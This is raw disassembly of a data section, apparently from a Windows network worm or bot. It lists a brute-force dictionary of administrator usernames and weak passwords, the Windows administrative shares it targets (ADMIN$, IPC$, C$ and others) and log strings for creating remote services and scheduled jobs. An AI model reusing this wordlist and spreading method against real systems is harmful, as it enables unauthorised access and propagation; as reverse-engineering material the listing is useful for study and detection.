align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: ?9:0043D230o
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: ?9:0043D22Co
align 10h
aWindoze2k db 'windoze2k',0 ; DATA XREF: ?9:0043D228o
align 4
aWindoze db 'windoze',0 ; DATA XREF: ?9:0043D224o
aWindowsxp db 'WindowsXP',0 ; DATA XREF: ?9:0043D220o
align 10h
aWindowsme db 'windowsME',0 ; DATA XREF: ?9:0043D21Co
align 4
aWindows98 db 'windows98',0 ; DATA XREF: ?9:0043D218o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: ?9:0043D214o
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: ?9:0043D210o
align 10h
aWindows db 'windows',0 ; DATA XREF: ?9:0043D20Co ?9:0043D264o
aWindose db 'windose',0 ; DATA XREF: ?9:0043D208o
aWin2kpro db 'Win2KPro',0 ; DATA XREF: ?9:0043D204o
align 4
off_43D3FC dd offset word_636E66 ; DATA XREF: ?9:0043D200o
dword_43D400 dd 737076h aVirus db 'virus',0 ; DATA XREF: ?9:0043D1F8o
align 4
off_43D40C dd offset loc_415353+2 ; DATA XREF: ?9:0043D1F0o
aSqlpass db 'sqlpass',0 ; DATA XREF: ?9:0043D1ECo
aSql db 'sql',0 ; DATA XREF: ?9:0043D1E8o
aServeur_0 db 'Serveur',0 ; DATA XREF: ?9:0043D1E0o
aStudents db 'students',0 ; DATA XREF: ?9:0043D1D8o
align 10h
aSlave db 'slave',0 ; DATA XREF: ?9:0043D1D4o
align 4
aSecrets db 'secrets',0 ; DATA XREF: ?9:0043D1D0o
aSecret db 'secret',0 ; DATA XREF: ?9:0043D1CCo
align 4
aSysadmin db 'sysadmin',0 ; DATA XREF: ?9:0043D1C8o
align 4
aSupport db 'support',0 ; DATA XREF: ?9:0043D1C4o
aSecurity db 'security',0 ; DATA XREF: sub_40A938+BB2o
; sub_41EB23+1Fo ...
align 4
aSchool db 'school',0 ; DATA XREF: ?9:0043D1BCo
align 10h
aSa db 'sa',0 ; DATA XREF: ?9:0043D1B8o
align 4
aUserpass db 'userpass',0 ; DATA XREF: ?9:0043D1B4o
align 10h
aUsername db 'username',0 ; DATA XREF: ?9:0043D1B0o
align 4
aUsermane db 'usermane',0 ; DATA XREF: ?9:0043D1ACo
align 4
aUser1 db 'user1',0 ; DATA XREF: ?9:0043D1A8o
align 10h
aTrojan db 'trojan',0 ; DATA XREF: ?9:0043D1A4o
align 4
aTesting db 'testing',0 ; DATA XREF: ?9:0043D1A0o
aTester db 'tester',0 ; DATA XREF: ?9:0043D19Co
align 4
aTest123 db 'test123',0 ; DATA XREF: ?9:0043D198o
aTest db 'Test',0 ; DATA XREF: ?9:0043D194o
align 4
aRooted db 'rooted',0 ; DATA XREF: ?9:0043D190o
align 10h
aRemote db 'remote',0 ; DATA XREF: ?9:0043D188o
align 4
aR00t db 'r00t',0 ; DATA XREF: ?9:0043D184o
align 10h
aBlink182 db 'blink182',0 ; DATA XREF: ?9:0043D17Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ?9:0043D178o ?9:0043EE28o
align 4
aQwert db 'qwert',0 ; DATA XREF: ?9:0043D174o
align 4
aQwer db 'qwer',0 ; DATA XREF: ?9:0043D170o
align 4
off_43D504 dd offset byte_657771 ; DATA XREF: ?9:0043D16Co
off_43D508 dd offset dword_647770 ; DATA XREF: ?9:0043D160o
aPw123 db 'pw123',0 ; DATA XREF: ?9:0043D15Co
align 4
aPw db 'pw',0 ; DATA XREF: ?9:0043D158o
align 4
aPassword123 db 'password123',0 ; DATA XREF: ?9:0043D154o
aPassword1 db 'password1',0 ; DATA XREF: ?9:0043D150o
align 10h
aPassword_1 db 'Password',0 ; DATA XREF: ?9:0043D14Co
align 4
aPassword_0 db 'PASSWORD',0 ; DATA XREF: ?9:0043D148o
align 4
aPassword db 'password',0 ; DATA XREF: ?9:0043D144o ?9:0043EE04o
align 4
aPasswd db 'passwd',0 ; DATA XREF: ?9:0043D140o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: ?9:0043D13Co
align 4
aPass123 db 'pass123',0 ; DATA XREF: ?9:0043D138o
aPass_1 db 'pass',0 ; DATA XREF: ?9:0043D134o ?9:0043EE20o
align 4
aOwned db 'owned',0 ; DATA XREF: ?9:0043D12Co
align 10h
aOwn db 'own',0 ; DATA XREF: ?9:0043D128o
aNull_1 db 'NULL',0 ; DATA XREF: ?9:0043D124o
align 4
aMyvps db 'myvps',0 ; DATA XREF: ?9:0043D11Co
align 4
aMssql db 'mssql',0 ; DATA XREF: ?9:0043D118o
align 4
aMysql db 'mysql',0 ; DATA XREF: ?9:0043D114o
align 4
aM_1 db 'M$',0 ; DATA XREF: sub_4053EE+138o
; ?9:0043D110o
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: ?9:0043D10Co
aMypc db 'mypc',0 ; DATA XREF: ?9:0043D108o ?9:0043D120o
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: ?9:0043D104o
align 4
aMypass db 'mypass',0 ; DATA XREF: ?9:0043D100o
align 4
aMs db 'MS',0 ; DATA XREF: ?9:0043D0FCo
align 10h
aMachine db 'machine',0 ; DATA XREF: ?9:0043D0F8o
aMicrosoft db 'microsoft',0 ; DATA XREF: ?9:0043D0F4o
align 4
aMyvnc db 'myvnc',0 ; DATA XREF: ?9:0043D0ECo
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: ?9:0043D0E8o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: ?9:0043D0E4o
align 10h
aLogin db 'login',0 ; DATA XREF: ?9:0043D0E0o
align 4
aUnix db 'Unix',0 ; DATA XREF: ?9:0043D0DCo
align 10h
aL33t db 'l33t',0 ; DATA XREF: ?9:0043D0D4o
align 4
aL337 db 'l337',0 ; DATA XREF: ?9:0043D0D0o
align 10h
aLetmein db 'letmein',0 ; DATA XREF: ?9:0043D0CCo ?9:0043EDF4o
aHax db 'hax',0 ; DATA XREF: ?9:0043D0C8o
aHacked db 'hacked',0 ; DATA XREF: ?9:0043D0C4o
align 4
aGuessme db 'guessme',0 ; DATA XREF: ?9:0043D0BCo
aGuess db 'guess',0 ; DATA XREF: ?9:0043D0B8o
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: ?9:0043D0B4o
aFucked db 'fucked',0 ; DATA XREF: ?9:0043D0B0o
align 4
aEducation db 'education',0 ; DATA XREF: ?9:0043D0ACo
align 10h
off_43D660 dd offset byte_554445 ; DATA XREF: ?9:0043D0A8o
dword_43D664 dd 2Ah ; sub_40A938+121Ao ...
aDomainpassword db 'domainpassword',0 ; DATA XREF: ?9:0043D09Co
align 4
aSmbpass db 'smbpass',0 ; DATA XREF: ?9:0043D098o
off_43D680 dd offset byte_626D73 ; DATA XREF: ?9:0043D094o
aDbpass db 'dbpass',0 ; DATA XREF: ?9:0043D088o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: ?9:0043D084o
align 4
aDesktop db 'desktop',0 ; DATA XREF: ?9:0043D080o
aDead db 'dead',0 ; DATA XREF: ?9:0043D07Co
align 4
aDave db 'dave',0 ; DATA XREF: ?9:0043D078o
align 4
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ?9:0043D074o
align 10h
aDatabase db 'database',0 ; DATA XREF: ?9:0043D070o
align 4
aDaemon_0 db 'daemon',0 ; DATA XREF: ?9:0043D06Co
align 4
aDefaultpass db 'defaultpass',0 ; DATA XREF: ?9:0043D068o
aClosed db 'closed',0 ; DATA XREF: ?9:0043D064o
align 4
aClosed_0 db 'closed!',0 ; DATA XREF: ?9:0043D060o
aCustomer db 'customer',0 ; DATA XREF: ?9:0043D044o
align 4
aChangeme_0 db 'changeme!',0 ; DATA XREF: ?9:0043D040o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ?9:0043D03Co
align 4
aChangethis db 'changethis',0 ; DATA XREF: ?9:0043D038o
align 10h
aChange db 'change',0 ; DATA XREF: ?9:0043D034o
align 4
aApache db 'apache',0 ; DATA XREF: ?9:0043D028o
align 10h
aAnything db 'anything',0 ; DATA XREF: ?9:0043D024o
align 4
aAccount? db 'account?',0 ; DATA XREF: ?9:0043D01Co
align 4
aAbc123 db 'abc123',0 ; DATA XREF: ?9:0043D014o ?9:0043EE34o
align 10h
off_43D750 dd offset byte_636261 ; DATA XREF: ?9:0043D010o
aAbcd db 'abcd',0 ; DATA XREF: ?9:0043D00Co ?9:0043D018o
align 4
aAsdf db 'asdf',0 ; DATA XREF: ?9:0043D008o
align 4
aAaaa db 'AAAA',0 ; DATA XREF: ?9:0043D004o
align 4
aAussie db 'aussie',0 ; DATA XREF: ?9:0043CFF8o
align 4
a88888888 db '88888888',0 ; DATA XREF: ?9:0043CFD8o
align 10h
a654321 db '654321',0 ; DATA XREF: ?9:0043CFD4o ?9:0043EE30o
align 4
a54321 db '54321',0 ; DATA XREF: ?9:0043CFD0o
align 10h
a123qwe db '123qwe',0 ; DATA XREF: ?9:0043CFCCo
align 4
a123asd db '123asd',0 ; DATA XREF: ?9:0043CFC8o
align 10h
a123abc db '123abc',0 ; DATA XREF: ?9:0043CFC4o
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: ?9:0043CFC0o
align 4
a123467890 db '123467890',0 ; DATA XREF: ?9:0043CFBCo
align 10h
a12346789 db '12346789',0 ; DATA XREF: ?9:0043CFB8o
align 4
a1234678 db '1234678',0 ; DATA XREF: ?9:0043CFB4o
a123467 db '123467',0 ; DATA XREF: ?9:0043CFB0o
align 4
a12346 db '12346',0 ; DATA XREF: ?9:0043CFACo
align 4
a123456789 db '123456789',0 ; DATA XREF: ?9:0043CFA8o
align 10h
a12345678 db '12345678',0 ; DATA XREF: ?9:0043CFA4o ?9:0043EE2Co
align 4
a1234567 db '1234567',0 ; DATA XREF: ?9:0043CFA0o ?9:0043EE00o
a123456 db '123456',0 ; DATA XREF: ?9:0043CF9Co ?9:0043EE0Co
align 4
a12345 db '12345',0 ; DATA XREF: ?9:0043CF98o ?9:0043EE08o
align 4
a1234 db '1234',0 ; DATA XREF: ?9:0043CF94o ?9:0043EDF0o
align 4
a123123 db '123123',0 ; DATA XREF: ?9:0043CF90o
align 4
a123 db '123',0 ; DATA XREF: ?9:0043CF8Co ?9:0043EDECo
a121212 db '121212',0 ; DATA XREF: ?9:0043CF88o
align 10h
a121 db '121',0 ; DATA XREF: ?9:0043CF84o
a12 db '12',0 ; DATA XREF: ?9:0043CF80o
align 4
a11111111 db '11111111',0 ; DATA XREF: ?9:0043CF78o ?9:0043CF7Co
align 4
a111111 db '111111',0 ; DATA XREF: ?9:0043CF74o
align 4
a111 db '111',0 ; DATA XREF: ?9:0043CF6Co ?9:0043CF70o
a110 db '110',0 ; DATA XREF: ?9:0043CF68o
a0wned db '0wned',0 ; DATA XREF: ?9:0043CF60o
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: ?9:0043CF5Co
align 4
a007 db '007',0 ; DATA XREF: ?9:0043CF58o
a00000000 db '00000000',0 ; DATA XREF: ?9:0043CF54o
align 4
a000000 db '000000',0 ; DATA XREF: ?9:0043CF50o
align 4
a00000 db '00000',0 ; DATA XREF: ?9:0043CF4Co
align 4
a0000 db '0000',0 ; DATA XREF: ?9:0043CF48o
align 4
a000 db '000',0 ; DATA XREF: ?9:0043CF44o
a00 db '00',0 ; DATA XREF: ?9:0043CF40o
align 4
asc_43D894 db '%%%%%',0 ; DATA XREF: ?9:0043CF38o
align 4
asc_43D89C db '%%%%',0 ; DATA XREF: ?9:0043CF34o
align 4
asc_43D8A4 db '%%%',0 ; DATA XREF: ?9:0043CF30o
asc_43D8A8 db '%%',0 ; DATA XREF: ?9:0043CF2Co
align 4
asc_43D8AC: ; DATA XREF: ?9:0043CF28o
unicode 0, <%>,0
a@ db '!@#$%^&*',0 ; DATA XREF: ?9:0043CF24o
align 4
aXxx_0 db 'xXx',0 ; DATA XREF: ?9:0043CF10o
aXxxx db 'xxxx',0 ; DATA XREF: ?9:0043CF0Co ?9:0043D280o
align 4
aXxx db 'xxx',0 ; DATA XREF: ?9:0043CF08o ?9:0043D27Co
aAspnet69 db 'aspnet69',0 ; DATA XREF: ?9:0043CED0o
align 4
aAspnet db 'aspnet',0 ; DATA XREF: ?9:0043CECCo
align 10h
aMailserver db 'mailserver',0 ; DATA XREF: ?9:0043CEC8o
align 4
aCompaqblah db 'Compaqblah',0 ; DATA XREF: ?9:0043CEC0o
align 4
aHallintovirk_0 db 'hallintovirkailijat',0 ; DATA XREF: ?9:0043CE60o
aAdministrato_0 db 'administrator',0 ; DATA XREF: ?9:0043CE44o
align 4
aAccess db 'Access',0 ; DATA XREF: ?9:0043CE40o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: ?9:0043CE3Co
align 10h
aAdmin_1 db 'admin',0 ; DATA XREF: ?9:0043CE38o ?9:0043EDF8o
align 4
asc_43D938: ; DATA XREF: ?9:0041A0C2o
; sub_424A42+1C5o ...
unicode 0, < >,0
aY: ; DATA XREF: ?9:0043CDF8o ?9:0043D270o ...
unicode 0, <y>,0
asc_43D940: ; DATA XREF: ?9:0043CDF4o ?9:0044F3B4o ...
unicode 0, <X>,0
aWebserver db 'webserver',0 ; DATA XREF: ?9:0043CDF0o
align 10h
aWww db 'www',0 ; DATA XREF: ?9:0043CDECo ?9:0043D268o
dword_43D954 dd 6C6C754Bh, 63FD6E61h, 0FDhaFormationplus db 'FormationPLUS',0 ; DATA XREF: ?9:0043CDE4o
align 10h
off_43D970 dd offset word_636E76 ; DATA XREF: ?9:0043CDE0o ?9:0043D1F4o ...
aBoss db 'BOSS',0 ; DATA XREF: ?9:0043CDDCo ?9:0043CEACo ...
align 4
aPc05 db 'pc05',0 ; DATA XREF: ?9:0043CDD8o ?9:0043CFF0o
align 4
aPc04 db 'pc04',0 ; DATA XREF: ?9:0043CDD4o ?9:0043CFECo
align 4
aPc03 db 'pc03',0 ; DATA XREF: ?9:0043CDD0o ?9:0043CFE8o
align 4
aPc02 db 'pc02',0 ; DATA XREF: ?9:0043CDCCo ?9:0043CFE4o
align 4
aPc01 db 'pc01',0 ; DATA XREF: ?9:0043CDC8o ?9:0043CFE0o
align 4
aProfessional db 'Professional',0 ; DATA XREF: ?9:0043CDC4o
align 4
aServUFtp db 'Serv-U FTP',0 ; DATA XREF: ?9:0043CDC0o
align 10h
aServU db 'serv-u',0 ; DATA XREF: ?9:0043CDBCo
align 4
aSlimftp db 'slimftp',0 ; DATA XREF: ?9:0043CDB8o
aLighthttpd db 'lightHTTPD',0 ; DATA XREF: ?9:0043CDB4o
align 4
aWarftpd db 'warftpd',0 ; DATA XREF: ?9:0043CDB0o
aFtpd db 'ftpd',0 ; DATA XREF: ?9:0043CDACo
align 4
aProftpd db 'proftpd',0 ; DATA XREF: ?9:0043CDA8o
aAccounting db 'accounting',0 ; DATA XREF: ?9:0043CDA4o ?9:0043D020o
align 10h
aAccount db 'account',0 ; DATA XREF: ?9:0043CDA0o
aAccess_0 db 'access',0
align 10h
aServeurFtp db 'serveur ftp',0
aMichelle db 'michelle',0
align 4
aMyftp db 'myftp',0
align 10h
aMybox db 'mybox',0
align 4
aMsumer db 'msumer',0
align 10h
aCompaqsecret db 'Compaqsecret',0
align 10h
aDell db 'Dell',0 ; DATA XREF: ?9:0043CEBCo
align 4
off_43DA58 dd offset byte_4D4249 ; DATA XREF: ?9:0043CEB8o
aAcer db 'Acer',0
align 4
aM_2 db 'm$',0
align 4
dd offset loc_435048+1
dd offset loc_424D53
aMs_user db 'MS_USER',0 ; DATA XREF: ?9:0043D0F0o
aSmbuser db 'SMBUSER',0
aFv db 'fv',0
align 4
aBillgates db 'billgates',0 ; DATA XREF: ?9:0043D030o
align 10h
aUsers db 'users',0
align 4
aQaz db 'qaz',0 ; DATA XREF: ?9:0043D168o
a1: ; DATA XREF: ?9:0043CF64o
unicode 0, <1>,0
aQ: ; DATA XREF: ?9:0043D164o
; ?9:off_44F300o ...
unicode 0, <q>,0
aE: ; DATA XREF: ?9:0043D0A0o ?9:0044F308o ...
unicode 0, <e>,0
off_43DAA8 dd offset byte_616161 ; DATA XREF: ?9:0043D000o
dword_43DAAC dd 61h ; ?9:0043CFFCo ...
aLinux db 'linux',0 ; DATA XREF: ?9:0043D0D8o
align 4
aUnix_0 db 'unix',0
align 10h
a@_0 db '!@#$%^&',0 ; DATA XREF: ?9:0043CF20o
a@_1 db '!@#$%^',0 ; DATA XREF: ?9:0043CF1Co
align 10h
a@_2 db '!@#$%',0 ; DATA XREF: ?9:0043CF18o
align 4
a@_3 db '!@#$',0 ; DATA XREF: ?9:0043CD24o ?9:0043CF14o
align 10h
a@_4 db '!@#',0 ; DATA XREF: ?9:0043CD20o
a@_5 db '!@',0 ; DATA XREF: ?9:0043CD1Co
align 4
a31337 db '31337',0 ; DATA XREF: ?9:0043CD18o ?9:0043CED4o ...
align 10h
aGuest db 'guest',0 ; DATA XREF: ?9:0043CD14o ?9:0043D0C0o
align 4
aBox5 db 'box5',0 ; DATA XREF: ?9:0043CD10o ?9:0043CF00o
align 10h
aBox4 db 'box4',0 ; DATA XREF: ?9:0043CD0Co ?9:0043CEFCo
align 4
aBox3 db 'box3',0 ; DATA XREF: ?9:0043CD08o ?9:0043CEF8o
align 10h
aBox2 db 'box2',0 ; DATA XREF: ?9:0043CD04o ?9:0043CEF4o
align 4
aBox1 db 'box1',0 ; DATA XREF: ?9:0043CD00o ?9:0043CEF0o
align 10h
aBox db 'box',0 ; DATA XREF: ?9:0043CCFCo ?9:0043CEECo
aSudo db 'sudo',0 ; DATA XREF: ?9:0043CCF8o ?9:0043CEA4o
align 4
aGameserver db 'gameserver',0 ; DATA XREF: ?9:0043CCF4o
align 4
aGameServer db 'game server',0 ; DATA XREF: ?9:0043CCF0o
off_43DB44 dd offset dword_4F2D48 ; DATA XREF: ?9:0043CCECo
dword_43DB48 dd 5244h aExploited db 'exploited',0 ; DATA XREF: ?9:0043CCE4o ?9:0043D090o
align 4
aDivxServer db 'DiVX-SERVER',0 ; DATA XREF: ?9:0043CCE0o ?9:0043CEB4o
aDivx db 'DiVX',0 ; DATA XREF: ?9:0043CCDCo ?9:0043CEB0o
align 4
aBillGates db 'bill gates',0 ; DATA XREF: ?9:0043CCD8o ?9:0043D02Co
align 4
aClient05 db 'Client05',0 ; DATA XREF: ?9:0043CCD4o ?9:0043D05Co
align 4
aClient04 db 'Client04',0 ; DATA XREF: ?9:0043CCD0o ?9:0043D058o
align 10h
aClient03 db 'Client03',0 ; DATA XREF: ?9:0043CCCCo ?9:0043D054o
align 4
aClient02 db 'Client02',0 ; DATA XREF: ?9:0043CCC8o ?9:0043D050o
align 4
aClient01 db 'Client01',0 ; DATA XREF: ?9:0043CCC4o ?9:0043D04Co
align 4
aClient db 'Client',0 ; DATA XREF: ?9:0043CCC0o ?9:0043D048o
align 4
aBlah db 'blah',0 ; DATA XREF: ?9:0043CCBCo
align 4
a05 db '05',0 ; DATA XREF: ?9:0043CCB8o ?9:0043CEE8o
align 4
a04 db '04',0 ; DATA XREF: ?9:0043CCB4o ?9:0043CEE4o
align 4
a03 db '03',0 ; DATA XREF: ?9:0043CCB0o ?9:0043CEE0o
align 10h
a02 db '02',0 ; DATA XREF: ?9:0043CCACo ?9:0043CEDCo
align 4
a01 db '01',0 ; DATA XREF: ?9:0043CCA8o ?9:0043CED8o
align 4
aAsp_net db 'ASP.NET',0 ; DATA XREF: ?9:0043CCA4o
aRdp db 'rdp',0 ; DATA XREF: ?9:0043CCA0o ?9:0043D180o
aLuna db 'luna',0 ; DATA XREF: ?9:0043CC9Co
align 4
aLiverpool db 'liverpool',0 ; DATA XREF: ?9:0043CC98o ?9:0043CEA8o
align 4
aCharlie db 'charlie',0 ; DATA XREF: ?9:0043CC94o ?9:0043CE90o ...
aMonkey db 'monkey',0 ; DATA XREF: ?9:0043CC90o ?9:0043CE8Co ...
align 4
aArsenal db 'arsenal',0 ; DATA XREF: ?9:0043CC8Co ?9:0043CE88o ...
aThomas db 'thomas',0 ; DATA XREF: ?9:0043CC88o ?9:0043CE84o ...
align 4
aMaster db 'master',0 ; DATA XREF: ?9:0043CC84o ?9:0043CEC4o ...
align 10h
aStandard db 'Standard',0 ; DATA XREF: ?9:0043CC80o ?9:0043CE74o
align 4
aHttpd db 'httpd',0 ; DATA XREF: ?9:0043CC7Co
align 4
aApacheServer db 'apache server',0 ; DATA XREF: ?9:0043CC78o
align 4
aRoot db 'root',0 ; DATA XREF: ?9:0043CC74o ?9:0043D18Co
align 4
aOwner db 'owner',0 ; DATA XREF: ?9:0043CC70o ?9:0043CE7Co ...
align 4
aAdmin1 db 'Admin1',0 ; DATA XREF: ?9:0043CC6Co ?9:0043CEA0o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: ?9:0043CC68o ?9:0043CE9Co
align 4
aAdmins db 'admins',0 ; DATA XREF: ?9:0043CC64o ?9:0043CE98o
align 4
aAdm db 'adm',0 ; DATA XREF: ?9:0043CC60o ?9:0043CE94o
aSystem_0 db 'SYSTEM',0 ; DATA XREF: sub_41E8A9+36o
; ?9:0043CC5Co ...
align 4
aManager db 'manager',0 ; DATA XREF: ?9:0043CC58o ?9:0043CE68o
aServeur db 'serveur',0 ; DATA XREF: ?9:0043CC54o
aServidor db 'Servidor',0 ; DATA XREF: ?9:0043CC50o ?9:0043D1DCo
align 4
aUtilizador db 'Utilizador',0 ; DATA XREF: ?9:0043CC4Co ?9:0043CE78o
align 10h
aServer db 'Server',0 ; DATA XREF: ?9:0043CC48o ?9:0043D1E4o
align 4
aDefault_1 db 'default',0 ; DATA XREF: ?9:0043CC44o ?9:0043D08Co
aDefault_0 db 'Default',0 ; DATA XREF: ?9:0043CC40o ?9:0043CE70o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: ?9:0043CC3Co ?9:0043CDFCo ...
align 10h
aContgenerale db 'Contgenerale',0 ; DATA XREF: ?9:0043CC38o ?9:0043CE6Co
align 10h
aAmministratore db 'Amministratore',0 ; DATA XREF: ?9:0043CC34o ?9:0043CE64o
align 10h
aHallintovirkai db 'Hallintovirkailijat',0 ; DATA XREF: ?9:0043CC30o
aVerwalter db 'Verwalter',0 ; DATA XREF: ?9:0043CC2Co ?9:0043CE5Co
align 10h
aRendszergazda db 'Rendszergazda',0 ; DATA XREF: ?9:0043CC28o ?9:0043CE58o
align 10h
aBeheerder db 'Beheerder',0 ; DATA XREF: ?9:0043CC24o ?9:0043CE54o
align 4
aAdministracion db 'Administracion',0 ; DATA XREF: ?9:0043CC20o ?9:0043CE50o
align 4
dword_43DD2C dd 696D6441h, 7473696Eh, 0F6746172h, 72h ; ?9:0043CE4Co
dword_43DD3C dd 0E8ECE4C0h, 0F2F1E8EDh, 0EEF2E0F0h, 0F0h ; ?9:0043CE48o
aAdministrators db 'Administrators',0 ; DATA XREF: ?9:0043CC14o ?9:0043CE34o
align 4
aAdministration db 'Administration',0 ; DATA XREF: ?9:0043CC10o ?9:0043CE30o
align 4
aAdministratori db 'Administratori',0 ; DATA XREF: ?9:0043CC0Co ?9:0043CE2Co
align 4
aAdministratore db 'Administratore',0 ; DATA XREF: ?9:0043CC08o ?9:0043CE28o
align 4
aAdministrado_0 db 'Administrador',27h,0 ; DATA XREF: ?9:0043CC04o
; ?9:0043CE24o
align 4
aAdministratoro db 'Administratoro',0 ; DATA XREF: ?9:0043CC00o ?9:0043CE20o
align 4
aAdministrada db 'Administrada',0 ; DATA XREF: ?9:0043CBFCo ?9:0043CE1Co
align 4
aAdministrateur db 'Administrateur',0 ; DATA XREF: ?9:0043CBF8o ?9:0043CE18o
align 4
aAdministrador db 'Administrador',0 ; DATA XREF: ?9:0043CBF4o ?9:0043CE14o
align 4
aAdmin db 'Admin',0 ; DATA XREF: ?9:0043CBF0o
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: ?9:0043CBECo ?9:0043CE10o ...
align 4
aDDDDD db '%d%d%d%d%d',0 ; DATA XREF: sub_4051C0+87o
align 10h
aSSS_4 db '%s\%s\%s',0 ; DATA XREF: sub_4051C0+3Bo
; sub_4053EE+2BDo
align 4
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_4051C0+11o
; sub_421DCA+18o
align 4
aSSSSSSNetsched db '%s %s: -> [%s\%s, %s/%s] (NetSchedJobAdded)',0
; DATA XREF: sub_4053EE+4F7o
aBlank db '(Blank)',0 ; DATA XREF: sub_4053EE+453o
; sub_4053EE+49Co
aSSSSSSCreateds db '%s %s: -> [%s\%s, %s/%s] (CreatedService)',0
; DATA XREF: sub_4053EE+422o
align 4
aDevice0 db 'device0$',0 ; DATA XREF: sub_4053EE+244o
align 4
aBrowser db 'BROWSER$',0 ; DATA XREF: sub_4053EE+23Do
align 4
aDrivec db 'drivec$',0 ; DATA XREF: sub_4053EE+236o
aMssql_0 db 'MSSQL$',0 ; DATA XREF: sub_4053EE+22Fo
align 4
aMysql_0 db 'MYSQL$',0 ; DATA XREF: sub_4053EE+228o
align 4
aWinnt_0 db 'WINNT$',0 ; DATA XREF: sub_4053EE+221o
align 4
aWindows_0 db 'WINDOWS$',0 ; DATA XREF: sub_4053EE+21Ao
align 10h
aPipe db 'PIPE$',0 ; DATA XREF: sub_4053EE+213o
align 4
aPipe_0 db 'PIPE\',0 ; DATA XREF: sub_4053EE+20Co
align 10h
aAdministrato_1 db 'ADMINISTRATOR$',0 ; DATA XREF: sub_4053EE+205o
align 10h
aAdministrado_1 db 'ADMINISTRADOR$',0 ; DATA XREF: sub_4053EE+1FEo
align 10h
aDDocume1Admi_0 db 'D$\DOCUME~1\ADMINI~1$',0 ; DATA XREF: sub_4053EE+1F7o
align 4
aCDocume1Admi_0 db 'C$\DOCUME~1\ADMINI~1$',0 ; DATA XREF: sub_4053EE+1F0o
align 10h
aDDocume1Admini db 'D$\DOCUME~1\ADMINI~1\',0 ; DATA XREF: sub_4053EE+1E9o
align 4
aCDocume1Admini db 'C$\DOCUME~1\ADMINI~1\',0 ; DATA XREF: sub_4053EE+1E2o
align 10h
aEWindowsSystem db 'E:\WINDOWS\system32$',0 ; DATA XREF: sub_4053EE+1DBo
align 4
aEWinntSystem32 db 'E:\WINNT\system32$',0 ; DATA XREF: sub_4053EE+1D4o
align 4
aDWindowsSystem db 'D:\WINDOWS\system32$',0 ; DATA XREF: sub_4053EE+1CDo
align 4
aDWinntSystem32 db 'D:\WINNT\system32$',0 ; DATA XREF: sub_4053EE+1C6o
align 4
aCWinntSystem32 db 'C:\WINNT\system32$',0 ; DATA XREF: sub_4053EE+1BCo
align 4
aDWindows db 'D:\WINDOWS$',0 ; DATA XREF: sub_4053EE+1B5o
aCWinnt db 'C:\WINNT$',0 ; DATA XREF: sub_4053EE+1AEo
align 4
aZ db 'Z$',0 ; DATA XREF: sub_4053EE+1A4o
align 4
aY_0 db 'Y$',0 ; DATA XREF: sub_4053EE+19Do
align 4
asc_43DFDC db 'X$',0 ; DATA XREF: sub_4053EE+196o
align 10h
aW db 'W$',0 ; DATA XREF: sub_4053EE+18Fo
align 4
aV db 'V$',0 ; DATA XREF: sub_4053EE+188o
align 4
aU db 'U$',0 ; DATA XREF: sub_4053EE+17Eo
align 4
aT db 'T$',0 ; DATA XREF: sub_4053EE+174o
align 10h
aR db 'R$',0 ; DATA XREF: sub_4053EE+16Ao
align 4
aQ_0 db 'Q$',0 ; DATA XREF: sub_4053EE+160o
align 4
aP_1 db 'P$',0 ; DATA XREF: sub_4053EE+156o
align 4
aO db 'O$',0 ; DATA XREF: sub_4053EE+14Co
align 10h
aN db 'N$',0 ; DATA XREF: sub_4053EE+142o
align 4
asc_43E004 db 'L$',0 ; DATA XREF: sub_4053EE+12Eo
align 4
aK_0 db 'K$',0 ; DATA XREF: sub_4053EE+124o
align 4
aJ db 'J$',0 ; DATA XREF: sub_4053EE+11Ao
align 10h
aI db 'I$',0 ; DATA XREF: sub_4053EE+110o
align 4
asc_43E014 db 'H$',0 ; DATA XREF: sub_4053EE+106o
align 4
aG db 'G$',0 ; DATA XREF: sub_4053EE+FCo
align 4
aF db 'F$',0 ; DATA XREF: sub_4053EE+F2o
align 10h
aE_0 db 'E$',0 ; DATA XREF: sub_4053EE+E8o
align 4
aD db 'D$',0 ; DATA XREF: sub_4053EE+DEo
align 4
aC db 'C$',0 ; DATA XREF: sub_4053EE+D4o
align 4
aB db 'B$',0 ; DATA XREF: sub_4053EE+CAo
align 10h
aNetlogon db 'NETLOGON$',0 ; DATA XREF: sub_4053EE+C0o
align 4
aS_7 db 'S$',0 ; DATA XREF: sub_4053EE+B6o
align 10h
aPrint db 'PRINT$',0 ; DATA XREF: sub_4053EE+ACo
align 4
aIpc db 'IPC$',0 ; DATA XREF: sub_4053EE+A2o
; sub_40978A+1A8o
align 10h
aAdmin_2 db 'ADMIN$',0 ; DATA XREF: sub_4053EE+98o
align 4
aCWindowsSystem db 'C:\WINDOWS\system32$',0 ; DATA XREF: sub_4053EE+89o
align 10h
aAdministratorS db 'Administrator\\%s$',0 ; DATA XREF: sub_4053EE+6Eo
align 4
aSIpc db '%s\IPC$',0 ; DATA XREF: sub_405990+56o
aS_0 db '\\%s',0 ; DATA XREF: sub_405990+15o
; sub_40978A+150o ...
align 8
dword_43E098 dd 0EFFFC481h, 44FFFFh, 43E148hdword_43E0A4 dd 42Ah dword_43E0A8 dd 3E8h dword_43E0AC dd 258h byte_43E0B0 db 0 ; DATA XREF: sub_405C6A+1Er
; sub_405C6A+342r ...
byte_43E0B1 db 1 ; DATA XREF: sub_405C6A:loc_405DDBr
; sub_405C6A:loc_405FCAr ...
align 4
dd offset aWinxp_0 ; "WinXP"
dd 2C6h, 264h, 0
dd 1
dword_43E0C8 dd 20804h ; sub_405C6A+448o ...
